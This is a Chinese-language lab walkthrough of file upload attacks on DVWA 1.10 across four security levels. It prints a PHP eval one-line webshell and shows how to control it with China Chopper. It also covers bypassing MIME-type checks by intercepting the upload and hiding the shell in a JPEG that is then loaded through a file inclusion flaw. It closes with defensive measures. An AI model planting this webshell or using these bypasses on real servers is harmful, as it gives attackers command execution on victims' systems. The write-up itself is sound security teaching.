DVWA1.10之文件上传


文件上传漏洞

文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,ApacheTomcatNginx等都曝出过文件上传漏洞

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知


LOW级别漏洞利用

  1. 编辑一句话木马1.php

    1
    2
    3
    <?php
    @eval($_POST['cmd']);
    ?>
  1. 上传

    1.png

  2. 中国菜刀链接webshell

    指定连接目录为http://172.16.12.89/hackable/uploads/1.php,参数为cmd,类型为PHP(eval)

    2.png

  3. 双击新添加的条目

    3.png

  4. 获取目标站点目录访问权限

    4.png

  5. 模拟终端

    5.png


Medium级别

Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型(Content-Type)必须是jpeg或者png,大小不能超过100000B(约为97.6KB

抓包修改文件类型

一句话木马不受大小限制影响

  1. 1.php更名为a.png

  2. 上传a.png,抓包

    8.png

  3. 修改上传文件后缀名

    9.png

  4. 上传成功

    10.png

  5. 中国菜刀连接

    指定连接目录为http://172.16.12.89/hackable/uploads/a.php,参数为cmd,类型为PHP(eval)

    11.png


High级别

High级别的代码读取文件名中最后一个.后的字符串(文件后缀名),期望通过文件名来限制文件类型,因此要求上传文件名形式必须是*.jpg*.jpeg*.png之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型

什么是文件头

文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分

文件头就是为了描述一个文件的一些重要的属性,文件头告诉了打开并处理该文件的程序这些属性

常见文件的文件头(16进制):

  1. JPEG (jpg),文件头:FFD8FF

  2. PNG (png),文件头:89504E47

  3. GIF (gif),文件头:47494638

  4. HTML (html),文件头:68746D6C3E

  5. MS Word/Excel (xls.or.doc),文件头:D0CF11E0

  6. Quicken (qdf),文件头:AC9EBD8F

  7. ZIP Archive (zip),文件头:504B0304

  8. RAR Archive (rar),文件头:52617221

  9. 可执行文件(EXE),文件头:MZ

将木马隐藏在图片中绕过(文件上传+文件包含)

  1. 使用copy将木马文件a.php与图片文件1.jpg合并

    12.png

    1
    copy 1.jpg/b+a.php/a a.jpg

    13.png

    可以看到,一句话木马被添加到图片的尾部

    14.png

  2. 上传成功

    15.png

  3. 利用high级别文件包含漏洞读取图片马

    17.png

  4. 中国菜刀连接

    1
    http://172.16.12.83/vulnerabilities/fi/?page=file:///opt/lampp/htdocs/DVWA-master/hackable/uploads/a.jpg

    注意,应设置请求头中包含cookie

    18.png

  5. 连接成功

    19.png


Impossible级别

Impossible级别的代码对上传文件进行了重命名(改为md5值),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件


文件上传防御

  1. 文件扩展名在服务器端使用白名单进行校验

  2. 文件内容在服务器端进行校验

  3. 对文件进行上传重命名

  4. 隐藏文件上传路径

  5. 文件上传目录权限为任何人不可执行

---------------The End---------------
0%